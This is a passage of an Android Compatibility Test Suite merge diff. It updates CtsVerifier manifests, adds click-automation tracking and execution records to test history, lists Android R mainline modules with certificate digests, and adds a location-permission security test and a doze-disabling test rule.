Merge "The low-end machine has poor performance, cause some cts with high performance requirements fail" into rvc-dev
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 6cdbb3e..fdb96d4 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -4342,7 +4342,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
-            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.RecentAppsTestActivity"
                  android:label="@string/ia_recents">
@@ -4351,7 +4351,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_instant_apps" />
-            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
         </activity>
         <activity android:name=".instantapps.AppInfoTestActivity"
                  android:label="@string/ia_app_info">
@@ -4374,4 +4374,8 @@
         </activity>
     </application>
 
+    <queries>
+         <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+         <package android:name="org.opencv.engine" />
+    </queries>
 </manifest>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 1505aca..99df613 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -20,7 +20,9 @@
 import android.app.ListActivity;
 import android.content.Intent;
 import android.content.res.Configuration;
+import android.graphics.Rect;
 import android.os.Bundle;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.Window;
 import android.widget.ListView;
@@ -28,17 +30,26 @@
 /** {@link ListActivity} that displays a list of manual tests. */
 public abstract class AbstractTestListActivity extends ListActivity {
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
+    //An invalid value which smaller than the edge of coordinate on the screen.
+    private static final float DEFAULT_CLICKED_COORDINATE = -1;
 
     protected TestListAdapter mAdapter;
-    // Start time of test item.
+    // Start time of test case.
     protected long mStartTime;
-    // End time of test item.
+    // End time of test case.
     protected long mEndTime;
+    // X-axis of clicked coordinate when entering a test case.
+    protected float mCoordinateX;
+    // Y-axis of clicked coordinate when entering a test case.
+    protected float mCoornidateY;
+    // Whether test case was executed through automation.
+    protected boolean mIsAutomated;
 
     protected void setTestListAdapter(TestListAdapter adapter) {
         mAdapter = adapter;
         setListAdapter(mAdapter);
         mAdapter.loadTestResults();
+        setOnTouchListenerToListView();
     }
 
     private Intent getIntent(int position) {
@@ -82,11 +93,16 @@
             }
             TestResult testResult = TestResult.fromActivityResult(resultCode, data);
             testResult.getHistoryCollection().add(
-                testResult.getName(), mStartTime, mEndTime);
+                testResult.getName(), mStartTime, mEndTime, mIsAutomated);
             mAdapter.setTestResult(testResult);
         }
         // Reset end time to avoid keeping same end time in retry.
         mEndTime = 0;
+        // Reset mIsAutomated flag to false
+        mIsAutomated = false;
+        // Reset clicked coordinate.
+        mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+        mCoornidateY = DEFAULT_CLICKED_COORDINATE;
     }
 
     /** Launch the activity when its {@link ListView} item is clicked. */
@@ -94,6 +110,10 @@
     protected final void onListItemClick(ListView listView, View view, int position, long id) {
         super.onListItemClick(listView, view, position, id);
         mStartTime = System.currentTimeMillis();
+        //Check whether the clicked coordinate is consistent with the center of the clicked Object.
+        Rect rect = new Rect();
+        view.getGlobalVisibleRect(rect);
+        mIsAutomated = (mCoordinateX == rect.centerX()) && (mCoornidateY == rect.centerY());
         handleItemClick(listView, view, position, id);
     }
 
@@ -102,4 +122,23 @@
         Intent intent = getIntent(position);
         startActivityForResult(intent, LAUNCH_TEST_REQUEST_CODE);
     }
+
+    /** Set OnTouchListener to ListView to get the clicked Coordinate*/
+    protected void setOnTouchListenerToListView() {
+        getListView().setOnTouchListener(null);
+        getListView().setOnTouchListener(new View.OnTouchListener(){
+            @Override
+            public boolean onTouch(View v, MotionEvent event) {
+                if (event.getAction() == MotionEvent.ACTION_UP) {
+                    mCoordinateX = event.getRawX();
+                    mCoornidateY = event.getRawY();
+                } else {
+                    // Reset clicked coordinate.
+                    mCoordinateX = DEFAULT_CLICKED_COORDINATE;
+                    mCoornidateY = DEFAULT_CLICKED_COORDINATE;
+                }
+                return false;
+            }
+        });
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
index 0e7160c..f92d233 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultHistoryCollection.java
@@ -3,7 +3,6 @@
 import com.android.compatibility.common.util.TestResultHistory;
 
 import java.io.Serializable;
-import java.util.AbstractMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -11,6 +10,7 @@
 
 public class TestResultHistoryCollection implements Serializable {
 
+    private static final long serialVersionUID = 0L;
     private final Set<TestResultHistory> mHistoryCollection = new HashSet<>();
 
     /**
@@ -23,30 +23,32 @@
     }
 
     /**
-     * Add a test result history with test name, start time and end time.
+     * Add a test result history with test name, start time, end time and isAutomated.
      *
      * @param test a string of test name.
      * @param start start time of a test.
      * @param end end time of a test.
+     * @param isAutomated whether test case was executed through automation.
      */
-    public void add(String test, long start, long end) {
-        Set<Map.Entry> duration = new HashSet<>();
-        duration.add(new AbstractMap.SimpleEntry<>(start, end));
-        mHistoryCollection.add(new TestResultHistory(test, duration));
+    public void add(String test, long start, long end, boolean isAutomated) {
+        Set<TestResultHistory.ExecutionRecord> executionRecords
+                = new HashSet<TestResultHistory.ExecutionRecord> ();
+        executionRecords.add(new TestResultHistory.ExecutionRecord(start, end, isAutomated));
+        mHistoryCollection.add(new TestResultHistory(test, executionRecords));
     }
 
     /**
-     * Add test result histories for tests containing test name and a set of execution time.
+     * Add test result histories for tests containing test name and a set of ExecutionRecords
      *
      * @param test test name.
-     * @param durations set of start and end time.
+     * @param executionRecords set of ExecutionRecords.
      */
-    public void addAll(String test, Set<Map.Entry> durations) {
-        TestResultHistory history = new TestResultHistory(test, durations);
+    public void addAll(String test, Set<TestResultHistory.ExecutionRecord> executionRecords) {
+        TestResultHistory history = new TestResultHistory(test, executionRecords);
         boolean match = false;
         for (TestResultHistory resultHistory: mHistoryCollection) {
             if (resultHistory.getTestName().equals(test)) {
-                resultHistory.getDurations().addAll(durations);
+                resultHistory.getExecutionRecords().addAll(executionRecords);
                 match = true;
                 break;
             }
@@ -63,10 +65,12 @@
      * @param resultHistoryCollection a set of test result histories.
      */
     public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
-       if (resultHistoryCollection != null) {
+        if (resultHistoryCollection != null) {
             resultHistoryCollection.asSet().forEach(t-> addAll(
-                prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
-       }
+                prefix != null
+                        ? prefix + ":" + t.getTestName()
+                        : t.getTestName(), t.getExecutionRecords()));
+        }
     }
 
     /**
diff --git a/apps/CtsVerifierInstantApp/AndroidManifest.xml b/apps/CtsVerifierInstantApp/AndroidManifest.xml
index bb59c13..51a6df6 100644
--- a/apps/CtsVerifierInstantApp/AndroidManifest.xml
+++ b/apps/CtsVerifierInstantApp/AndroidManifest.xml
@@ -17,11 +17,13 @@
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
                 <category android:name="android.intent.category.DEFAULT" />
-                <data android:host="instantapp.cts.android.com" android:scheme="http"/>
-                <data android:host="instantapp.cts.android.com" android:scheme="https"/>
+                <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+                     android:scheme="http"/>
+                <data android:host="source.android.com/compatibility/cts/verifier-instant-apps"
+                     android:scheme="https"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                 android:value="http://instantapp.cts.android.com" />
+                 android:value="https://source.android.com/compatibility/cts/verifier-instant-apps" />
         </activity>
     </application>
 </manifest>
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index 6e48bcc..fb18b06 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -19,6 +19,9 @@
  * Enum containing metadata for mainline modules.
  */
 public enum MainlineModule {
+
+    // Added in Q
+
     // Security
     MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
             true, ModuleType.APEX,
@@ -50,10 +53,6 @@
             "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
                     + ":F4:09:02:52:97"),
     // Consistency
-    TZDATA2("com.google.android.tzdata2",
-            true, ModuleType.APEX,
-            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
-                    + ":DA:C9:92:AB:E7"),
     NETWORK_STACK("com.google.android.networkstack",
             true, ModuleType.APK,
             "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
@@ -70,6 +69,61 @@
             true, ModuleType.APK,
             "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
                     + ":D5:FD:A0:33:0F"),
+
+    // Added in R
+
+    ADBD("com.google.android.adbd",
+            true, ModuleType.APEX,
+            "87:3D:4E:43:58:25:1A:25:1A:2D:9C:18:E1:55:09:45:21:88:A8:1E:FE:9A:83:9D:43:0D:E8"
+                    + ":D8:7E:C2:49:4C"),
+    NEURAL_NETWORKS("com.google.android.neuralnetworks",
+            true, ModuleType.APEX,
+            "6F:AB:D5:72:9A:90:02:6B:74:E4:87:79:8F:DF:10:BB:E3:6C:9E:6C:B7:A6:59:04:3C:D8:15"
+                    + ":61:6C:9E:60:50"),
+    CELL_BROADCAST("com.google.android.cellbroadcast",
+            true, ModuleType.APEX,
+            "A8:2C:84:7A:A3:9D:DA:19:A5:6C:9E:D3:56:50:1A:76:4F:BD:5D:C9:60:98:66:16:E3:1D:48"
+                    + ":EE:27:08:19:70"),
+    EXT_SERVICES("com.google.android.extservices",
+            true, ModuleType.APEX,
+            "10:89:F2:7C:85:6A:83:D4:02:6B:6A:49:97:15:4C:A1:70:9A:F6:93:27:C8:EF:9A:2D:1D:56"
+                    + ":AB:69:DE:07:0B"),
+    IPSEC("com.google.android.ipsec",
+            true, ModuleType.APEX,
+            "64:3D:3E:A5:B7:BF:22:E5:94:42:29:77:7C:4B:FF:C6:C8:44:14:64:4D:E0:4B:E4:90:37:57"
+                    + ":DE:83:CF:04:8B"),
+    MEDIA_PROVIDER("com.google.android.mediaprovider",
+            true, ModuleType.APEX,
+            "1A:61:93:09:6D:DC:81:58:72:45:EF:2C:07:33:73:6E:8E:FF:9D:E9:0E:51:27:4B:F8:23:AC"
+                    + ":F0:F7:49:00:A0"),
+    PERMISSION_CONTROLLER_APEX("com.google.android.permission",
+            true, ModuleType.APEX,
+            "69:AC:92:BF:BA:D5:85:4C:61:8E:AB:AE:85:7F:AB:0B:1A:65:19:44:E9:19:EA:3C:86:DB:D4"
+                    + ":07:04:1E:22:C1"),
+    SDK_EXTENSIONS("com.google.android.sdkext",
+            true, ModuleType.APEX,
+            "99:90:29:2B:22:11:D2:78:17:BF:5B:10:98:84:8F:68:44:53:37:16:2B:47:FF:D1:A0:8E:10"
+                    + ":CE:65:B1:CC:73"),
+    STATSD("com.google.android.os.statsd",
+            true, ModuleType.APEX,
+            "DA:FE:D6:20:A7:0C:98:05:A9:A2:22:04:55:6B:0E:94:E8:E3:4D:ED:F4:16:EC:58:92:C6:48"
+                    + ":86:53:39:B4:7B"),
+    TELEMETRY_TVP("com.google.mainline.telemetry",
+            true, ModuleType.APK,
+            "9D:AC:CC:AE:4F:49:5A:E6:DB:C5:8A:0E:C2:33:C6:E5:2D:31:14:33:AC:57:3C:4D:A1:C7:39"
+                    + ":DF:64:03:51:5D"),
+    TETHERING("com.google.android.tethering",
+            true, ModuleType.APEX,
+            "E5:3F:52:F4:14:15:0C:05:BA:E0:E4:CE:E2:07:3D:D0:0F:E6:44:66:1D:5F:9A:0F:BE:49:4A"
+                    + ":DC:07:F0:59:93"),
+    TZDATA2("com.google.android.tzdata2",
+            true, ModuleType.APEX,
+            "48:F3:A2:98:76:1B:6D:46:75:7C:EE:62:43:66:6A:25:B9:15:B9:42:18:A6:C2:82:72:99:BE"
+                    + ":DA:C9:92:AB:E7"),
+    WIFI("com.google.android.wifi",
+            false, ModuleType.APEX,
+            "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
+                    + ":FE:29:31:98:B1"),
     ;
 
     public final String packageName;
diff --git a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
index bea7506..d5301d4 100644
--- a/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
+++ b/hostsidetests/adb/src/android/adb/cts/AdbHostTest.java
@@ -64,6 +64,10 @@
             return;
         }
 
+        if (getDevice().isAdbTcp()) { // adb over WiFi, no point checking it
+            return;
+        }
+
         ProcessBuilder pb = new ProcessBuilder(check_ms_os_desc.getAbsolutePath());
         pb.environment().put("ANDROID_SERIAL", serial);
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 07a51af1d..d637ff0 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -226,7 +226,8 @@
         StatsdConfigProto.StatsdConfig.Builder configBuilder =
                 StatsdConfigProto.StatsdConfig.newBuilder()
                         .setId(configId)
-                        .addAllowedLogSource(pkgName);
+                        .addAllowedLogSource(pkgName)
+                        .addWhitelistedAtomIds(Atom.APP_COMPATIBILITY_CHANGE_REPORTED_FIELD_NUMBER);
         StatsdConfigProto.SimpleAtomMatcher.Builder simpleAtomMatcherBuilder =
                 StatsdConfigProto.SimpleAtomMatcher
                         .newBuilder().setAtomId(
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
new file mode 100644
index 0000000..e2ff6c6
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/LocationPolicyTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Tests to verify app location access */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationPolicyTest extends BaseAppSecurityTest {
+
+    private static final String TEST_PKG = "android.appsecurity.cts.locationpolicy";
+    private static final String TEST_APK = "CtsLocationPolicyApp.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        new InstallMultiple(true).addFile(TEST_APK).run();
+        Utils.runDeviceTests(
+            getDevice(), TEST_PKG, ".LocationPolicyTest", "testLocationPolicyPermissions");
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
new file mode 100644
index 0000000..5731457
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * {@link TestRule} class that disables screen saver and doze settings before each test method
+ * running and restoring to initial values after test method finished.
+ */
+public class NormalizeScreenStateRule implements TestRule {
+    private final ITestInformationReceiver mTestInformationReceiver;
+
+    public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
+        mTestInformationReceiver = testInformationReceiver;
+    }
+
+    /** Doze items copied from ActivityManagerTestBase since the keys are hidden. */
+    private static final String[] DOZE_SETTINGS = {
+            "doze_enabled",
+            "doze_always_on",
+            "doze_pulse_on_pick_up",
+            "doze_pulse_on_long_press",
+            "doze_pulse_on_double_tap",
+            "doze_wake_screen_gesture",
+            "doze_wake_display_gesture",
+            "doze_tap_gesture",
+            "screensaver_enabled",
+    };
+
+    private ITestDevice getDevice() {
+        return mTestInformationReceiver.getTestInformation().getDevice();
+    }
+
+    private String getSecureSetting(String key) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command("settings get secure " + key);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+            return res.getStdout().trim();
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+            return null;
+        }
+    }
+
+    private void putSecureSetting(String key, String value) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command(
+                    "settings put secure " + key + " " + value);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+        }
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                final Map<String, String> initialValues = new HashMap<>();
+                Arrays.stream(DOZE_SETTINGS).forEach(
+                        k -> initialValues.put(k, getSecureSetting(k)));
+                try {
+                    Arrays.stream(DOZE_SETTINGS).forEach(k -> putSecureSetting(k, "0"));
+                    base.evaluate();
+                } finally {
+                    Arrays.stream(DOZE_SETTINGS).forEach(
+                            k -> putSecureSetting(k, initialValues.get(k)));
+                }
+            }
+        };
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index a35b974..557596a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -32,6 +32,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -65,6 +66,9 @@
 
     private boolean mSupportsMultiUser;
 
+    @Rule
+    public NormalizeScreenStateRule mNoDozeRule = new NormalizeScreenStateRule(this);
+
     @Before
     public void setUp() throws Exception {
         assertNotNull(getAbi());
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
new file mode 100644
index 0000000..b7174d2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLocationPolicyApp",
+    defaults: ["cts_defaults"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "telephony-common",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+        "general-tests",
+    ],
+    min_sdk_version: "27",
+    target_sdk_version: "28",
+}
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
new file mode 100644
index 0000000..ed9d1fc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+  package="android.appsecurity.cts.locationpolicy">
+
+    <application>
+      <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.appsecurity.cts.locationpolicy"
+                     android:label="Test to check location policy access for bad sdk."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
new file mode 100644
index 0000000..74ce0c5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.locationpolicy;
+
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+import android.telephony.TelephonyManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationPolicyTest {
+
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        assertNotNull(mContext);
+        PackageManager pm = mContext.getPackageManager();
+        assertNotNull(pm);
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_FINE_LOCATION,
+            mContext.getPackageName()));
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION,
+            mContext.getPackageName()));
+        TelephonyManager tele = mContext.getSystemService(TelephonyManager.class);
+        try {
+            tele.getCellLocation();
+        fail(
+            "ACCESS_FINE_LOCATION and ACCESS_COARSE_LOCATION Permissions not granted. Should have"
+              + " received a security exception when invoking getCellLocation().");
+        } catch (SecurityException ignore) {
+          // That's what we want!
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
index d3564f9..39da864 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
@@ -35,6 +35,7 @@
     public static final String ACTION_GRANT_URI = "grantUri";
     public static final String ACTION_REVOKE_URI = "revokeUri";
     public static final String ACTION_START_ACTIVITY = "startActivity";
+    public static final String ACTION_START_ACTIVITIES = "startActivities";
     public static final String ACTION_START_SERVICE = "startService";
     public static final String ACTION_VERIFY_OUTGOING_PERSISTED = "verifyOutgoingPersisted";
     public static final String ACTION_SET_PRIMARY_CLIP = "setPrimaryClip";
@@ -70,6 +71,11 @@
                 newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                 context.startActivity(newIntent);
 
+            } else if (ACTION_START_ACTIVITIES.equals(action)) {
+                final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
+                newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivities(new Intent[] { newIntent });
+
             } else if (ACTION_START_SERVICE.equals(action)) {
                 final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
                 context.startService(newIntent);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
index 26a2eee..132d7f6 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -22,7 +22,8 @@
 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivities;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 
 import static junit.framework.Assert.fail;
 
@@ -85,7 +86,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(subClip, mode, false);
+        grantClipUriPermissionViaActivities(subClip, mode);
         ReceiveUriActivity.waitForStart();
 
         assertAccess(uri, 0);
@@ -99,7 +100,7 @@
         // --------------------------------
 
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(sub2Clip, mode, false);
+        grantClipUriPermissionViaActivity(sub2Clip, mode);
         ReceiveUriActivity.waitForNewIntent();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
index 7be059f..444c1bf 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
